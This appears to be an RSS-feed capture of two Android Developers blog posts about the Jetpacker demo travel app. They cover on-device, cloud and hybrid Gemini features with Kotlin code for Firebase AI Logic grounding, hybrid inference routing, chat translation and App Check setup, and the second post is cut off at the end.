<div><i>Posted by Jolanda Verhoef, Senior Developer Relations Engineer, </i><i>Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFlbIY8mjuSzlWuS8mnGJ3v8Je-yrtFFaBHNXumMqS0rbaS32wv5HUhI4mv5pHT8ro0Rfb-duyMhK8_OeKnMyocY9s6GmC9_pgTEv6sgZoiaZpD00sODTTctYV8I4RHddKWcXAMUyTASk97cS1ysx4A2PFYB6PEeiHeN93BFgDiOTKH62ZJMig3kGP66E/s8583/0713%20Jetpacker%20Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFlbIY8mjuSzlWuS8mnGJ3v8Je-yrtFFaBHNXumMqS0rbaS32wv5HUhI4mv5pHT8ro0Rfb-duyMhK8_OeKnMyocY9s6GmC9_pgTEv6sgZoiaZpD00sODTTctYV8I4RHddKWcXAMUyTASk97cS1ysx4A2PFYB6PEeiHeN93BFgDiOTKH62ZJMig3kGP66E/s1600/0713%20Jetpacker%20Blog.png"></a></div><br><i><br></i><p>Building GenAI features in your app usually means navigating through various models, APIs and architecture choices: </p>
<ul>
  <li><strong>Execution location:</strong> Where does your model run? On device, in the cloud, or both?</li>
  <li><strong>Complexity:</strong> How complex is your setup? Are you doing a single inference call or do you need a more agentic flow?</li>
  <li><strong>In-app or Android System:</strong> Should your feature be built into your Android app or does it fit better as an Android system integration?</li>
</ul>

<p>In this blog post series we'll navigate these choices with you. We will take you along on a journey, starting with a basic mobile app and transforming it into a <b>personalized</b>, <b>intelligent</b>, and <b>agentic</b> experience.</p>

<h2>Jetpacker: a demo travel app</h2>
<p>Jetpacker is a <b>technical showcase app</b> that our team built from the ground up for this year's Google I/O (built using Antigravity). At its core, Jetpacker helps users plan, explore, and enjoy their next big adventure. It shows an overview of your trips, the itinerary of each trip, and details of each event on that trip. Of course following all best practices of Android development, including a beautifully expressive Material UI design.</p><div>
  
  
</div>

<p>And best of all? It's fully <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">open source</a>!</p>

<p>Today we are publishing a series of<b> technical blog posts</b> diving deep into each of these features. We’ll provide detailed implementation steps, code snippets, and architectural insights to help you build your own intelligent Android applications.</p>

<h2><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">On-device intelligence</a></h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7d4EqOTEFypjsqmFoZ8h-zPw3QqQkNY1F_vdbJ98vv1QJCqIE8P-reC0fttcMfNk05g3kGSLhGXVaeiOQDqARK6ptNhFe43miZgTNSmdF7V5hh6u4PhjQleWXmxDqkAf5YKPPyBU14V9z_wFfkiwVDCHN0rkLDtbZCGnb6Jq8d7Iu3YRVgDd9fcMeTiA/s1848/on-device-features.png"><img border="0" data-original-height="1256" data-original-width="1848" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7d4EqOTEFypjsqmFoZ8h-zPw3QqQkNY1F_vdbJ98vv1QJCqIE8P-reC0fttcMfNk05g3kGSLhGXVaeiOQDqARK6ptNhFe43miZgTNSmdF7V5hh6u4PhjQleWXmxDqkAf5YKPPyBU14V9z_wFfkiwVDCHN0rkLDtbZCGnb6Jq8d7Iu3YRVgDd9fcMeTiA/s1600/on-device-features.png"></a></div><div><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></div><p>Using an on-device model comes with <b>no additional cloud inference</b> costs, means you don't have to worry about <b>internet connectivity</b>, and lets users be confident that private information will be <b>processed locally</b>, on the device, without any of their data being sent to the cloud.</p>

<p>In Jetpacker, we chose on-device inference for three of our features:</p>
<ul>
  <li>The <b>trip overview</b> feature transforms a messy, multi-day itinerary into a concise, actionable summary. It leverages Gemini Nano through the <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit GenAI APIs</a> to process data locally on the device. We consider this a nice-to-have feature where we don't want to incur extra cloud costs, making on-device inference the right choice.</li>
  <li>The <b>expense tracker</b> automatically extracts structured data from receipt images to help users track their travel spending. It uses the <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started#provide-multimodal">multimodal capabilities</a> of Gemini Nano 4 through the ML Kit GenAI APIs. We choose an on-device solution so that any privacy-sensitive information on the receipt images never leaves the user's device.</li>
  <li>The <b>audio diary </b>records, transcribes, and categorizes voice notes into relevant trip activities. It is powered by the <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit Speech Recognition</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started">GenAI Prompt APIs</a>. We chose an on-device solution for privacy and connectivity reasons.</li>
</ul>

<h2><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html" target="_blank">Cloud &amp; hybrid inference</a></h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPZiA1Obbj1gQKJ6S-U4UCR-jiUjasFY3jGQPeBRS27JJD5DzDIpGseazaNR3qcXR6xtYck8RYqKd0jgHGXVnfqQiPkW7jWVgTB_Hkds5EZcQDjosBZc7Ma9A-JaRaLeVxzEpTXYwSkalIyOIt-WQ_kqdlAvpDH1nB0Ajv7FdFJJ50aBOhP7a0p_RvN4/s2722/cloud-hybrid-features.png"><img border="0" data-original-height="1632" data-original-width="2722" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPZiA1Obbj1gQKJ6S-U4UCR-jiUjasFY3jGQPeBRS27JJD5DzDIpGseazaNR3qcXR6xtYck8RYqKd0jgHGXVnfqQiPkW7jWVgTB_Hkds5EZcQDjosBZc7Ma9A-JaRaLeVxzEpTXYwSkalIyOIt-WQ_kqdlAvpDH1nB0Ajv7FdFJJ50aBOhP7a0p_RvN4/s1600/cloud-hybrid-features.png"></a></div><br><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and hotel support chat featuring custom-routed live translation.</i></div></i><p>Sometimes your use-case requires AI models with <b>greater world knowledge</b> or a much <b>larger context window</b> and with greater ability in <b>handling complex tasks</b>. In that case, we can switch from running an on-device model to using a cloud model instead.</p>

<p>Or, if you want to get the best of both worlds, you can use hybrid inference to <b>dynamically choose</b> either a cloud or on-device model at runtime. This allows us to <b>lower costs</b> by moving inference to the device when it is available, but at the same time <b>support all Android devices</b> running the app.</p>

<p>In Jetpacker, we implemented several features using cloud or hybrid inference:</p>
<ul>
  <li>The <b>place Q&amp;A</b> feature answers user questions about specific locations by grounding responses in real-world data. It uses <a href="https://firebase.google.com/docs/ai-logic">Firebase AI Logic</a> integrated with <a href="https://firebase.google.com/docs/ai-logic/grounding-google-maps">Google Maps</a> and <a href="https://firebase.google.com/docs/ai-logic/grounding-google-search">web context</a>. Using a cloud model is necessary here for its greater world knowledge.</li>
  <li>The <b>review drafting</b> feature helps users compose detailed reviews for the places they have visited. It leverages both on-device and cloud models through Firebase AI Logic's new <a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started">Hybrid inference API</a>. This is a feature we wanted to make available to all app users, so we're using a cloud model as a fallback when an on-device model is unavailable.</li>
  <li>The <b>automatic chat translation</b> dynamically translates chat messages in real time to facilitate seamless communication, demonstrating custom hybrid inference logic. Again, we want this feature to be available to all app users, but at the same time have some specific considerations on when to choose on-device versus cloud.</li>
</ul>

<h2><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html">System integration</a></h2><div>
  
  
</div>
<p>While not a feature you see in the app itself, the Android system integration opens up the app's core capabilities directly to the Android operating system. It uses the <a href="https://developer.android.com/ai/appfunctions">AppFunctions API</a> to integrate with system-level intelligence.</p>

<h2>In-app agentic workflows (coming soon!)</h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3YAW_TWepCinuAvHQ7i9JKfhWtf-GSggI6CtD0Qp7-nfPA7UTmmYHTAtsEybWlmiPgxZqo_fUlqc44dmF_5WWH4tlTRze8qdsm9Jc5ARwL5k_PJjU1VTcAHRE3EdxL4JHSnsCt4VCzwPaR41LM34048icLNZLE1kUhpLTeiGpDH87Bh7utPJmXS4kn_8/s1618/agentic-feature-booking-assistant%20(1).png"><img border="0" data-original-height="1618" data-original-width="844" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3YAW_TWepCinuAvHQ7i9JKfhWtf-GSggI6CtD0Qp7-nfPA7UTmmYHTAtsEybWlmiPgxZqo_fUlqc44dmF_5WWH4tlTRze8qdsm9Jc5ARwL5k_PJjU1VTcAHRE3EdxL4JHSnsCt4VCzwPaR41LM34048icLNZLE1kUhpLTeiGpDH87Bh7utPJmXS4kn_8/w209-h400/agentic-feature-booking-assistant%20(1).png" width="209"></a></div><i><div><i>The booking assistant shows several in-progress flight bookings, asking the user for input before making a final booking.</i></div></i><p>Agenticness introduces a higher level of<b> autonomy</b>, enabling models to act as agents. Instead of a single inference call, an agent works towards a specific goal via an orchestration loop that allows it to <b>reason</b>, use <b>tools</b>, and <b>adapt </b>its path. Depending on your requirements, these intelligent agents can run either in the cloud, directly on-device, or in a hybrid setup.</p>

<p>For Jetpacker we added a <b>booking assistant</b> that automates end-to-end booking workflows directly within the application to streamline reservations. It is built using <a href="https://a2ui.org/">A2UI</a> and <a href="https://adk.dev/">ADK</a> running in the cloud. The Android app functions as a front-end to the multi-agentic system running in the cloud.</p>

<h2>Learn more</h2>
<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1 (this post!):</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b></a> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Cloud and hybrid inference]]></title>
<description><![CDATA[Posted by Thomas Ezan, Jolanda Verhoef, Caren Chang, Senior Developer Relations Engineers, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. ...]]></description>
<link>https://tsecurity.de/de/3693496/android-tipps/build-intelligent-android-apps-cloud-and-hybrid-inference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693496/android-tipps/build-intelligent-android-apps-cloud-and-hybrid-inference/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:23 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBHTpa22SxEltoebLZYO_34iRtahN8z5tA3tnIryIii0s4_conN5qFYfmNro6nmZBfsgiZeRLtru-gE4XO2mf-RBDyIo00kf3QunWwUO-SICHkVSv0exAQQ4qA0KzjMGRpA8qj1TSMP0Ffe0FzrEc_S1zBaakKzCZFpqYLXqds9Zqmqr8yyeSgyNl9U0s/s2469/features%20in%20Jetpacker%20Features%20with%20Firebase%20AI%20Logic%20_Meta.png"><div><i>Posted by Thomas Ezan, Jolanda Verhoef, Caren Chang, Senior Developer Relations Engineers, Android Developer Relations</i></div><div><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn2fO3T2xckksQ9pk3RUNPxZqqq2CyaifXnju0lCCpbfwJ4gZyq-df0kM_mK1TMV0F9YCMo19Ba9NvFAiUpzDH6Wlk_RyonRCK5Ono25CYyQ7xGC3q70mUhyphenhyphenOOYJ-5JX2KlFP1lIA3ULIhH86_hP2ptO0AllUIf6ZVh-SqoXVWcXrM8m3hHCkhGwZYfP4/s8583/AFD%20-%20%5BABL_101%5D%20Building%20AI%20features%20in%20Jetpacker%20Features%20with%20Firebase%20AI%20Logic%20_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn2fO3T2xckksQ9pk3RUNPxZqqq2CyaifXnju0lCCpbfwJ4gZyq-df0kM_mK1TMV0F9YCMo19Ba9NvFAiUpzDH6Wlk_RyonRCK5Ono25CYyQ7xGC3q70mUhyphenhyphenOOYJ-5JX2KlFP1lIA3ULIhH86_hP2ptO0AllUIf6ZVh-SqoXVWcXrM8m3hHCkhGwZYfP4/s1600/AFD%20-%20%5BABL_101%5D%20Building%20AI%20features%20in%20Jetpacker%20Features%20with%20Firebase%20AI%20Logic%20_Blog.png"></a></div><br><p><br></p><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a <b>personalized</b>, <b>intelligent</b>, and <b>agentic</b> experience. In our <a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">previous post</a> we explored how to build intelligent on-device features using Gemini Nano through ML Kit's Prompt API.</p>

<p>In this post, we will look at how you can leverage <b><a href="https://firebase.google.com/docs/ai-logic">Firebase AI Logic</a> </b>to build cloud-hosted and hybrid AI features: </p>
<ul>
  <li>Grounding answers in real-world context</li>
  <li>Routing requests dynamically between cloud and local execution using hybrid inference</li>
  <li>Translating content with custom routing systems</li>
</ul>

<div>
  
  
</div><p><br></p><p>Sometimes a use case requires AI models with greater world knowledge, a much larger context window, or the ability to handle complex queries. In those scenarios, we can leverage cloud models. </p>

<p>Other times, you want the best of both worlds: using hybrid inference to run on-device when available to lower costs, while falling back to the cloud to ensure compatibility for all devices.</p><br><div class="separator"><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwlTUF1Kzkbrf2w64KO3jZJZZ_wLEu34vq6Cb7PX2alVUhFVdbkiWuXCkzUS-bPJkHMbmuNJ_Ov0HYZzujr69jCU9gPvmKaKMZt2q4-TolSDFCLABBIY1IBRY9Zn7D5S10hFcJD2kuVCm3N2glpqDJoHiqAZat4z6oyXxxwH4ZCGVBgfPObMevoJrgNPg/s8000/features_upscaled.png"><img border="0" data-original-height="4744" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwlTUF1Kzkbrf2w64KO3jZJZZ_wLEu34vq6Cb7PX2alVUhFVdbkiWuXCkzUS-bPJkHMbmuNJ_Ov0HYZzujr69jCU9gPvmKaKMZt2q4-TolSDFCLABBIY1IBRY9Zn7D5S10hFcJD2kuVCm3N2glpqDJoHiqAZat4z6oyXxxwH4ZCGVBgfPObMevoJrgNPg/s1600/features_upscaled.png"></a></div><em>Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and 
  support chat featuring custom-routed live translation.</em></div>

<p>Let’s look at how we implemented three cloud and hybrid features in <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">Jetpacker</a>:</p>
<ul>
  <li>a museum assistant with web grounding</li>
  <li>hybrid restaurant review drafting</li>
  <li>hotel support chat featuring custom-routed live translation.</li>
</ul>

<h2>Use LLM grounding for up-to-date informationMuseum assistant chatbot with LLM grounding</h2>
<p>The <b>Museum assistant </b>is an interactive chatbot designed to help users plan their museum visits. It provides visitors with up-to-date details regarding specific exhibits, current opening hours, ticket pricing, and more.</p><br><div class="separator"><em><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3pxeCVJfOo5G7McNB4RCIhoCUch8CHSAWI7gHijJJcE95b0gbu3lyAO1xIWc6mKllkpylSPBnVfU6RYnwfay4z6dH7TlufPuNw3Lw7s-bEuR4Ajx8IHK8k6zJcOHitqMRdDv8EVL-fCN6uuDo1QTnOgk_RW-AEM1_hZaJWbCGezMQF_D9Hia-Rm2T4-c/s4880/museum_assistant_upscaled.png"><img border="0" data-original-height="4880" data-original-width="2392" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3pxeCVJfOo5G7McNB4RCIhoCUch8CHSAWI7gHijJJcE95b0gbu3lyAO1xIWc6mKllkpylSPBnVfU6RYnwfay4z6dH7TlufPuNw3Lw7s-bEuR4Ajx8IHK8k6zJcOHitqMRdDv8EVL-fCN6uuDo1QTnOgk_RW-AEM1_hZaJWbCGezMQF_D9Hia-Rm2T4-c/w314-h640/museum_assistant_upscaled.png" width="314"></a></div>Museum assistant is a chatbot that answers questions, such as </em></div><div class="separator"><em>‘How can I get a ticket discount for Le Louvre?’</em></div>

<p>When building AI features, getting the model to answer with fresh, accurate, and specific real-world information is a common challenge. While cloud models possess massive amounts of world knowledge, they might not know about seasonal exhibits or the current day’s opening hours. </p><div class="separator"><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8He5M2JC5EwXZwa-M52UAXHSO4dWy4gx3aZoY2ZXM-x25pV4kc6BsICe_fG4Zn6-R37_UgTQ8LBSsrNcP50e3aQLgxNbHOfWLBqzaSqQ78ZDmNEJadZNc-I5bduHr0UtWOxYMTFAHgffxcuzaETHPe3lvfRod2rkeOUXnRaLJ_vIiAfO_xRKpESbX3L8/s8000/grounding_upscaled.png"><img border="0" data-original-height="4452" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8He5M2JC5EwXZwa-M52UAXHSO4dWy4gx3aZoY2ZXM-x25pV4kc6BsICe_fG4Zn6-R37_UgTQ8LBSsrNcP50e3aQLgxNbHOfWLBqzaSqQ78ZDmNEJadZNc-I5bduHr0UtWOxYMTFAHgffxcuzaETHPe3lvfRod2rkeOUXnRaLJ_vIiAfO_xRKpESbX3L8/s1600/grounding_upscaled.png"></a></div><br><em><br>Grounding data is added to the context window to enable the model</em></div><div class="separator"><em> to answer questions correctly and accurately.</em></div>

<p>To bridge this gap, we can use grounding techniques to add extra context to the model’s context window. The <a href="https://firebase.google.com/products/firebase-ai-logic" target="_blank">Firebase AI Logic SDK</a> supports three types of grounding:</p>
<ul>
  <li><strong><a href="https://firebase.google.com/docs/ai-logic/url-context">URL grounding</a>:</strong> Grounding responses using content from a specific webpage (e.g. current ticket prices or museum rules).</li>
  <li><strong><a href="https://firebase.google.com/docs/ai-logic/grounding-google-search">Google Search grounding</a>:</strong> Letting the model query the real-time Google search index for up-to-date details.</li>
  <li><strong><a href="https://firebase.google.com/docs/ai-logic/grounding-google-maps">Maps grounding</a>:</strong> Using Google Maps location data.</li>
</ul>

<p>In Jetpacker, we dynamically construct the available tools based on enabled feature flags and initialize the generative model using the Firebase AI SDK:</p>

<pre><code>// implementation("com.google.firebase:firebase-ai-logic")

private var toolList = mutableListOf&lt;Tool&gt;()

init {
    if (ENABLE_SEARCH_GROUNDING) {
        toolList.add(Tool.googleSearch())
    }
    if (ENABLE_URL_GROUNDING) {
        toolList.add(Tool.urlContext())
    }
}

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        systemInstruction = content {
            text("You are a helpful museum assistant answering questions about a museum. Use plain text.")
        },
        tools = toolList
    )</code></pre>

<p>When the user queries the assistant, if URL grounding is enabled, we append the specific museum resource URLs directly into the prompt:</p>

<pre><code>val groundingText = if (FeatureFlags.ENABLE_URL_GROUNDING) {
    "\n If the following message above is about the rules and terms to visit Le Louvre, " +
    "if needed answer this urls ${urlList.joinToString()}"
} else {
    ""
}

val prompt = "$text $groundingText"

var response = chat.sendMessage(prompt)
</code></pre>

<h2>Hybrid inference: On-device review generation with Maps deep link</h2>
<p>Not every AI task requires a cloud-based model, and not every device is online. To help developers balance latency, cost, and offline availability, we recently introduced the <a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started?api=dev">Firebase API for Hybrid Inference</a>.</p>

<p>In Jetpacker, the <b>restaurant review</b> feature lets users review select topics and automatically drafts a review. To enable this for all users, we prioritize local execution with Gemini Nano, and fall back to cloud models on devices that don’t support Gemini Nano. </p><div class="separator"><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVa1o2Zh3v3Babi7gGmzOFYAKPEgS0HWmvisiKgK-QsSRh_ZhjTjuUYSS_QIH0JQw9NsqrkYe4Quud6cfCGwVc61_7HKcACj6c9yywWySn5xyHGgemBR5tYPP8q3bmLadaN6uLXspE9LqrcZkVdckEGHWDhdfYVa-xo8QomDaRn03mau2fHVyK0Fr1FaU/s4680/review_upscaled.png"><img border="0" data-original-height="4680" data-original-width="2392" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVa1o2Zh3v3Babi7gGmzOFYAKPEgS0HWmvisiKgK-QsSRh_ZhjTjuUYSS_QIH0JQw9NsqrkYe4Quud6cfCGwVc61_7HKcACj6c9yywWySn5xyHGgemBR5tYPP8q3bmLadaN6uLXspE9LqrcZkVdckEGHWDhdfYVa-xo8QomDaRn03mau2fHVyK0Fr1FaU/w327-h640/review_upscaled.png" width="327"></a></div><br></div><div class="separator"><em>The restaurant review feature uses hybrid inference to draft a review based on topics</em></div><div class="separator"><em><br></em></div>

<pre><code>// implementation("com.google.firebase:firebase-ai-logic")
// implementation("com.google.firebase:firebase-ai-ondevice:16.0.0-beta03")


// Initialize the model with hybrid routing configuration
val reviewModel = Firebase.ai.generativeModel(
    modelName = "gemini-3.1-flash-lite",
    onDeviceConfig = OnDeviceConfig(
        inferenceMode = InferenceMode.PREFER_ON_DEVICE
    )
)</code></pre>

<p>The Hybrid Inference API supports four distinct routing modes:</p>
<ul>
  <li><strong>PREFER_ON_DEVICE:</strong> Prioritizes local execution and falls back to cloud if Gemini Nano is unavailable.</li>
  <li><strong>PREFER_IN_CLOUD:</strong> Prioritizes cloud execution and falls back to on-device if the device goes offline.</li>
  <li><strong>ONLY_ON_DEVICE:</strong> Restricts execution strictly to the device.</li>
  <li><strong>ONLY_IN_CLOUD:</strong> Restricts execution strictly to the cloud.</li>
</ul>

<p>Once the review is generated, we copy it to the clipboard and use an intent to open Google Maps directly to the restaurant's review page, providing a seamless user experience:</p>

<pre><code>private fun copyAndOpenMapsReview(context: Context, reviewText: String, placeId: String) {
    val clipboard = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
    val clip = ClipData.newPlainText("User Review", reviewText)
    clipboard.setPrimaryClip(clip)

    val uri = Uri.parse("https://search.google.com/local/writereview/mobile?placeid=$placeId")
    val intent = Intent(Intent.ACTION_VIEW, uri).apply {
        setPackage("com.google.android.apps.maps")
    }
    context.startActivity(intent)
}</code></pre>

<h2>Custom hybrid routing: Hotel support chat translation with simulated personas</h2>
<p>The <b>hotel support chat</b> was built to let users finalize logistics and check on hotel details. This feature uses system instructions to configure a localized receptionist assistant. By passing specific information—such as the preferred language and hotel information—in the instructions, we can set up a conversational persona representing a specific hotel.</p>

<pre><code>private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        systemInstruction = content {
            text("""
              You are a helpful hotel receptionist at $hotelName only speaking $language. 
              Answer politely in $language. The bar closes at 10pm and breakfast is from 7am to 10am.
              There's someone at the desk 24/7. You can retrieve your luggage from the storage room 
              at the back of the lobby at any time.
              """)
        },
        modelName = "gemini-3-flash-preview"
    )</code></pre>

<p>Because receptionist responses are in the hotel's local language (for example, French for Hotel Le Meurice in Paris), we need to translate messages to the user’s preferred language. </p><div class="separator"><em><br><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikIB_NnUYK8GnEpI3foNLO2_AQ2lNZhoc9gFB-CjERDjMwrdQ2T45y6jzrJAafi4Jz7eF_SBkXG7csDwpajKctp5yo1hsBjIacIfK3aHvvQjCUu22qZBj7dLl5Q4aGFJRD4hwTlMMNgZD8sIuYpCrRjMmpa5ybXDzi9nkTMZoiJOEn8jLmqBsgTXcVTDY/s4112/translation_upscaled.png"><img border="0" data-original-height="2364" data-original-width="4112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikIB_NnUYK8GnEpI3foNLO2_AQ2lNZhoc9gFB-CjERDjMwrdQ2T45y6jzrJAafi4Jz7eF_SBkXG7csDwpajKctp5yo1hsBjIacIfK3aHvvQjCUu22qZBj7dLl5Q4aGFJRD4hwTlMMNgZD8sIuYpCrRjMmpa5ybXDzi9nkTMZoiJOEn8jLmqBsgTXcVTDY/s1600/translation_upscaled.png"></a></div><div class="separator"><em>Hotel support chat messages are automatically translated to the user’s preferred language </em></div></em></div>

<p>While hybrid models can configure simple routing preferences, complex scenarios require custom routing logic. In Jetpacker, we implement a custom routing stack that takes into account:</p>
<ul>
  <li><strong>Language identification:</strong> Using the on-device <a href="https://developers.google.com/ml-kit/language/identification/android">ML Kit Language Identification API</a>, we can detect the incoming message language.</li>
  <li><strong>On-device translation (Gemini Nano):</strong> <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit’s Prompt API</a> lets us translate common language pairs directly on the device, saving bandwidth and cloud cost.</li>
  <li><strong>Cloud translation (Gemini 3 Flash):</strong> For more complex languages, we use Gemini Flash 3 to get a higher quality translation.</li>
</ul>

<pre><code>// implementation("com.google.android.gms:play-services-mlkit-language-id:17.0.0") 

// ML Kit for Language Identification (powered by Google Play Services)
private val languageIdentifier = LanguageIdentification.getClient()

// On-device translator model (prefer Gemini Nano) for translating common language pairs
private val hybridTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        onDeviceConfig = OnDeviceConfig(mode = InferenceMode.PREFER_ON_DEVICE)
    )

// Cloud translator model for more complex language pairs
private val cloudTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash"
    )</code></pre>

<p>When a message needs to be translated, we identify the source language and apply our custom routing logic, executing either on-device or cloud translation:</p>

<pre><code>fun translateMessage(message: SupportChatMessage) {
    viewModelScope.launch {
        // 1. Detect language using ML Kit Language Identification
        val sourceLang = try {
            Tasks.await(languageIdentifier.identifyLanguage(message.text))
        } catch (e: Exception) {
            "Undefined"
        }

        // 2. Custom routing: we've verified the translation quality for English and Korean with Gemini Nano, and will translate message on-device for those two languages
        val routeToCloud = sourceLang != "en" &amp;&amp; sourceLang != "kr"

        val prompt = "Translate the following text to $selectedLanguage. Just return the translated sentence: ${message.text}."

        val (translatedText, routePrefix) = if (routeToCloud) {
            val result = cloudTranslationModel.generateContent(prompt)
            result.text to "[Cloud]"
        } else {
            val result = hybridTranslationModel.generateContent(prompt)
            result.text to "[On-Device]"
        }

        if (translatedText != null) {
            _translations.update { current -&gt;
                current + (message.id to "$routePrefix: $translatedText")
            }
        }
    }
}</code></pre>

<p>In this example, the custom routing logic only takes into consideration the translation’s source and target language. However, based on your app’s use case, you can expand the routing logic to include other factors such as the on-device model version, network connectivity, battery status, and more.</p>

<h2>Securing the AI Pipelines: Firebase App Check</h2>
<p>Lastly, using AI in the cloud opens up possibilities of API key abuse or unauthorized billing. To secure API calls, we integrated <a href="https://firebase.google.com/docs/app-check"><b>Firebase App Check</b></a> using both Play Integrity (production) and the local Debug Provider (for local development or emulators).</p>

<p>In the <a href="https://github.com/android/ai-samples/blob/main/jetpacker/android/app/src/main/kotlin/com/example/jetpacker/JetPackerApplication.kt">JetPackerApplication.kt</a> file, we install the debug provider at startup and trigger anonymous authentication to establish a secure user session:</p>

<pre><code>//  implementation("com.google.firebase:firebase-appcheck-playintegrity") 
//  implementation("com.google.firebase:firebase-appcheck-debug")  
//  implementation("com.google.firebase:firebase-auth") 

override fun onCreate() {
    super.onCreate()
    Firebase.initialize(context = this)
    Firebase.appCheck.installAppCheckProviderFactory(
        DebugAppCheckProviderFactory.getInstance()
    )
    Firebase.auth.signInAnonymously()
}</code></pre>

<p>When building locally on an emulator, App Check prints a local token secret to logcat:</p>

<p>Enter this debug secret into the allow list in the Firebase Console: a8c2dd4c-xxxx-xxxx-xxxx-ef6c114ba27e</p>

<p>Once registered in the Firebase console, local requests are fully verified and authenticated by App Check, protecting our backend while letting us test the app locally.</p>

<h2>Conclusion</h2>
<p>By combining cloud model capabilities (grounding, system instructions) with on-device capabilities (hybrid routing, translation, security app checks), we created a travel app that is smart, secure, and available offline.</p>

<p>Check out the <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">full source code for Jetpacker on GitHub</a>, and explore the Firebase documentation to get started:</p>
<p><a href="https://firebase.google.com/docs/ai-logic/get-started">Firebase AI Logic Documentation</a><br><a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started">Firebase Hybrid Inference API</a></p>

<h2>Learn more</h2>
<p>Check out the other parts of this blog post series:</p>
